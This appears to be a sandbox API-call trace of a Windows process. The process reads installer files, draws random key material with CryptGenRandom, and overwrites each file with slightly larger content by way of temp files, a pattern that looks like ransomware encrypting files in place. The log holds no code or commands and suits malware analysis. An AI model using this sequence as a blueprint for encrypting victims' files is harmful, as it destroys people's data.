	[0074.178] WriteFile (in: hFile=0x178, lpBuffer=0xc0002da600*, nNumberOfBytesToWrite=0x1019, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002da600*, lpNumberOfBytesWritten=0xc000287bec*=0x1019, lpOverlapped=0x0) returned 1
	[0074.180] CloseHandle (hObject=0x178) returned 1
	[0074.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0074.185] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0074.185] GetFileType (hFile=0x178) returned 0x1
	[0074.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0074.185] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0074.185] GetFileType (hFile=0x194) returned 0x1
	[0074.185] VirtualAlloc (lpAddress=0xc00043c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00043c000
	[0074.186] VirtualAlloc (lpAddress=0xc00043e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00043e000
	[0074.186] ReadFile (in: hFile=0x194, lpBuffer=0xc00043e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00043e000*, lpNumberOfBytesRead=0xc000287bd4*=0x1019, lpOverlapped=0x0) returned 1
	[0074.187] WriteFile (in: hFile=0x178, lpBuffer=0xc00043e000*, nNumberOfBytesToWrite=0x1019, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc00043e000*, lpNumberOfBytesWritten=0xc000287b74*=0x1019, lpOverlapped=0x0) returned 1
	[0074.188] ReadFile (in: hFile=0x194, lpBuffer=0xc00043e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00043e000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0074.188] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 0
	[0074.189] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 0
	[0074.189] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 0x20
	[0074.189] CloseHandle (hObject=0x194) returned 1
	[0074.189] CloseHandle (hObject=0x178) returned 1
	[0074.198] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54")) returned 1
	[0074.199] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.468] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0074.468] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022dd94, lpOverlapped=0x0) returned 0
	[0074.468] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0074.468] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dbf4 | out: lpMode=0xc00022dbf4) returned 0
	[0074.468] GetFileType (hFile=0x178) returned 0x1
	[0074.468] GetFileType (hFile=0x178) returned 0x1
	[0074.468] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc00022dc44 | out: lpFileInformation=0xc00022dc44) returned 1
	[0074.469] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc00022dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00022dc28) returned 1
	[0074.469] ReadFile (in: hFile=0x178, lpBuffer=0xc000415000, nNumberOfBytesToRead=0xdfd, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc000415000*, lpNumberOfBytesRead=0xc00022db04*=0xbfd, lpOverlapped=0x0) returned 1
	[0074.638] ReadFile (in: hFile=0x178, lpBuffer=0xc000415bfd, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00022db04, lpOverlapped=0x0 | out: lpBuffer=0xc000415bfd*, lpNumberOfBytesRead=0xc00022db04*=0x0, lpOverlapped=0x0) returned 1
	[0074.638] CloseHandle (hObject=0x178) returned 1
	[0074.638] VirtualAlloc (lpAddress=0xc000448000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000448000
	[0074.639] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109ea0 | out: pbBuffer=0xc000109ea0) returned 1
	[0074.639] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000101510 | out: pbBuffer=0xc000101510) returned 1
	[0074.639] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000163801 | out: pbBuffer=0xc000163801) returned 1
	[0074.640] VirtualAlloc (lpAddress=0xc00044a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00044a000
	[0074.640] VirtualAlloc (lpAddress=0xc00044c000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00044c000
	[0074.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0074.642] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dc04 | out: lpMode=0xc00022dc04) returned 0
	[0074.642] GetFileType (hFile=0x178) returned 0x1
	[0074.642] WriteFile (in: hFile=0x178, lpBuffer=0xc00044c000*, nNumberOfBytesToWrite=0xcfd, lpNumberOfBytesWritten=0xc00022dbec, lpOverlapped=0x0 | out: lpBuffer=0xc00044c000*, lpNumberOfBytesWritten=0xc00022dbec*=0xcfd, lpOverlapped=0x0) returned 1
	[0074.646] CloseHandle (hObject=0x178) returned 1
	[0074.655] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0074.656] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0074.656] GetFileType (hFile=0x178) returned 0x1
	[0074.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0074.656] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc00022dd74 | out: lpMode=0xc00022dd74) returned 0
	[0074.660] GetFileType (hFile=0x164) returned 0x1
	[0074.660] VirtualAlloc (lpAddress=0xc000452000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000452000
	[0074.661] ReadFile (in: hFile=0x164, lpBuffer=0xc000452000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000452000*, lpNumberOfBytesRead=0xc00022dbd4*=0xcfd, lpOverlapped=0x0) returned 1
	[0074.661] WriteFile (in: hFile=0x178, lpBuffer=0xc000452000*, nNumberOfBytesToWrite=0xcfd, lpNumberOfBytesWritten=0xc00022db74, lpOverlapped=0x0 | out: lpBuffer=0xc000452000*, lpNumberOfBytesWritten=0xc00022db74*=0xcfd, lpOverlapped=0x0) returned 1
	[0074.662] ReadFile (in: hFile=0x164, lpBuffer=0xc000452000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00022dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000452000*, lpNumberOfBytesRead=0xc00022dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0074.663] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 0
	[0074.663] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 0
	[0074.663] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 0x20
	[0074.663] CloseHandle (hObject=0x164) returned 1
	[0074.663] CloseHandle (hObject=0x178) returned 1
	[0074.664] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\bb16a64e61da8383d0bd774925ca7372" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bb16a64e61da8383d0bd774925ca7372")) returned 1
	[0074.665] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.170] SetEvent (hEvent=0xe4) returned 1
	[0075.172] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0075.172] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000283d94, lpOverlapped=0x0) returned 0
	[0075.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0075.173] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000283bf4 | out: lpMode=0xc000283bf4) returned 0
	[0075.173] GetFileType (hFile=0x178) returned 0x1
	[0075.173] GetFileType (hFile=0x178) returned 0x1
	[0075.173] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc000283c44 | out: lpFileInformation=0xc000283c44) returned 1
	[0075.173] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc000283c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000283c28) returned 1
	[0075.173] VirtualAlloc (lpAddress=0xc00045a000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00045a000
	[0075.174] ReadFile (in: hFile=0x178, lpBuffer=0xc00045a000, nNumberOfBytesToRead=0x40f6, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc00045a000*, lpNumberOfBytesRead=0xc000283b04*=0x3ef6, lpOverlapped=0x0) returned 1
	[0075.282] ReadFile (in: hFile=0x178, lpBuffer=0xc00045def6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000283b04, lpOverlapped=0x0 | out: lpBuffer=0xc00045def6*, lpNumberOfBytesRead=0xc000283b04*=0x0, lpOverlapped=0x0) returned 1
	[0075.282] CloseHandle (hObject=0x178) returned 1
	[0075.283] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109fe0 | out: pbBuffer=0xc000109fe0) returned 1
	[0075.283] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0001015f0 | out: pbBuffer=0xc0001015f0) returned 1
	[0075.283] VirtualAlloc (lpAddress=0xc00046c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00046c000
	[0075.283] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000163a01 | out: pbBuffer=0xc000163a01) returned 1
	[0075.283] VirtualAlloc (lpAddress=0xc00046e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00046e000
	[0075.284] VirtualAlloc (lpAddress=0xc000470000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000470000
	[0075.285] VirtualAlloc (lpAddress=0xc000472000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000472000
	[0075.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0075.286] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000283c04 | out: lpMode=0xc000283c04) returned 0
	[0075.286] GetFileType (hFile=0x178) returned 0x1
	[0075.286] WriteFile (in: hFile=0x178, lpBuffer=0xc000472000*, nNumberOfBytesToWrite=0x3ff6, lpNumberOfBytesWritten=0xc000283bec, lpOverlapped=0x0 | out: lpBuffer=0xc000472000*, lpNumberOfBytesWritten=0xc000283bec*=0x3ff6, lpOverlapped=0x0) returned 1
	[0075.288] CloseHandle (hObject=0x178) returned 1
	[0075.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0075.292] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0075.292] GetFileType (hFile=0x178) returned 0x1
	[0075.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0075.292] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc000283d74 | out: lpMode=0xc000283d74) returned 0
	[0075.292] GetFileType (hFile=0x190) returned 0x1
	[0075.293] VirtualAlloc (lpAddress=0xc000476000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000476000
	[0075.293] VirtualAlloc (lpAddress=0xc000478000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000478000
	[0075.294] ReadFile (in: hFile=0x190, lpBuffer=0xc000478000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000478000*, lpNumberOfBytesRead=0xc000283bd4*=0x3ff6, lpOverlapped=0x0) returned 1
	[0075.295] WriteFile (in: hFile=0x178, lpBuffer=0xc000478000*, nNumberOfBytesToWrite=0x3ff6, lpNumberOfBytesWritten=0xc000283b74, lpOverlapped=0x0 | out: lpBuffer=0xc000478000*, lpNumberOfBytesWritten=0xc000283b74*=0x3ff6, lpOverlapped=0x0) returned 1
	[0075.297] ReadFile (in: hFile=0x190, lpBuffer=0xc000478000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000283bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000478000*, lpNumberOfBytesRead=0xc000283bd4*=0x0, lpOverlapped=0x0) returned 1
	[0075.297] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 0
	[0075.297] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 0
	[0075.297] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 0x20
	[0075.297] CloseHandle (hObject=0x190) returned 1
	[0075.298] CloseHandle (hObject=0x178) returned 1
	[0075.299] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6f57fcb44b30a5fa4273df142c27b5c8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6f57fcb44b30a5fa4273df142c27b5c8")) returned 1
	[0075.300] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.775] SetEvent (hEvent=0xd4) returned 1
	[0075.776] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0075.776] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0075.776] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0075.776] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0075.776] GetFileType (hFile=0x164) returned 0x1
	[0075.777] GetFileType (hFile=0x164) returned 0x1
	[0075.777] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0075.777] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0075.777] VirtualAlloc (lpAddress=0xc00034a000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00034a000
	[0075.779] SetEvent (hEvent=0x188) returned 1
	[0075.779] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.815] VirtualAlloc (lpAddress=0xc000356000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000356000
	[0075.816] SetEvent (hEvent=0x188) returned 1
	[0075.816] SetEvent (hEvent=0xd4) returned 1
	[0075.816] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.959] SetEvent (hEvent=0xe4) returned 1
	[0075.959] SetEvent (hEvent=0xd4) returned 1
	[0075.959] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.013] SetEvent (hEvent=0x188) returned 1
	[0076.014] SetEvent (hEvent=0xd4) returned 1
	[0076.014] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.109] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9309fef68, ulCount=0x10, ulNumEntriesRemoved=0x9309fef40, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x9309fef68, ulNumEntriesRemoved=0x9309fef40) returned 0
	[0076.109] SetEvent (hEvent=0xe4) returned 1
	[0076.109] ReadFile (in: hFile=0x164, lpBuffer=0xc00034a000, nNumberOfBytesToRead=0xa278, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00034a000*, lpNumberOfBytesRead=0xc000231b04*=0xa078, lpOverlapped=0x0) returned 1
	[0076.162] ReadFile (in: hFile=0x164, lpBuffer=0xc000354078, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc000354078*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0076.162] CloseHandle (hObject=0x164) returned 1
	[0076.164] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0002073c0 | out: pbBuffer=0xc0002073c0) returned 1
	[0076.164] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000222b30 | out: pbBuffer=0xc000222b30) returned 1
	[0076.164] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000213301 | out: pbBuffer=0xc000213301) returned 1
	[0076.164] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4da0000
	[0076.165] VirtualAlloc (lpAddress=0xc0003f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f4000
	[0076.165] VirtualAlloc (lpAddress=0xc0003f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f6000
	[0076.168] VirtualAlloc (lpAddress=0xc000500000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000500000
	[0076.171] VirtualAlloc (lpAddress=0xc0003f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f8000
	[0076.171] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0076.174] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0076.174] GetFileType (hFile=0x164) returned 0x1
	[0076.174] WriteFile (in: hFile=0x164, lpBuffer=0xc000500000*, nNumberOfBytesToWrite=0xa178, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc000500000*, lpNumberOfBytesWritten=0xc000231bec*=0xa178, lpOverlapped=0x0) returned 1
	[0076.177] CloseHandle (hObject=0x164) returned 1
	[0076.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0076.187] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0076.187] GetFileType (hFile=0x164) returned 0x1
	[0076.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0076.187] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0076.187] GetFileType (hFile=0x178) returned 0x1
	[0076.187] VirtualAlloc (lpAddress=0xc00050c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00050c000
	[0076.188] ReadFile (in: hFile=0x178, lpBuffer=0xc00050c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00050c000*, lpNumberOfBytesRead=0xc000231bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0076.188] WriteFile (in: hFile=0x164, lpBuffer=0xc00050c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc00050c000*, lpNumberOfBytesWritten=0xc000231b74*=0x8000, lpOverlapped=0x0) returned 1
	[0076.190] ReadFile (in: hFile=0x178, lpBuffer=0xc00050c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00050c000*, lpNumberOfBytesRead=0xc000231bd4*=0x2178, lpOverlapped=0x0) returned 1
	[0076.190] WriteFile (in: hFile=0x164, lpBuffer=0xc00050c000*, nNumberOfBytesToWrite=0x2178, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc00050c000*, lpNumberOfBytesWritten=0xc000231b74*=0x2178, lpOverlapped=0x0) returned 1
	[0076.190] ReadFile (in: hFile=0x178, lpBuffer=0xc00050c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00050c000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
	[0076.190] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 0
	[0076.191] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 0
	[0076.191] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 0x20
	[0076.191] CloseHandle (hObject=0x178) returned 1
	[0076.191] CloseHandle (hObject=0x164) returned 1
	[0076.192] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3a14861a700433461de8ccfc233b5088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3a14861a700433461de8ccfc233b5088")) returned 1
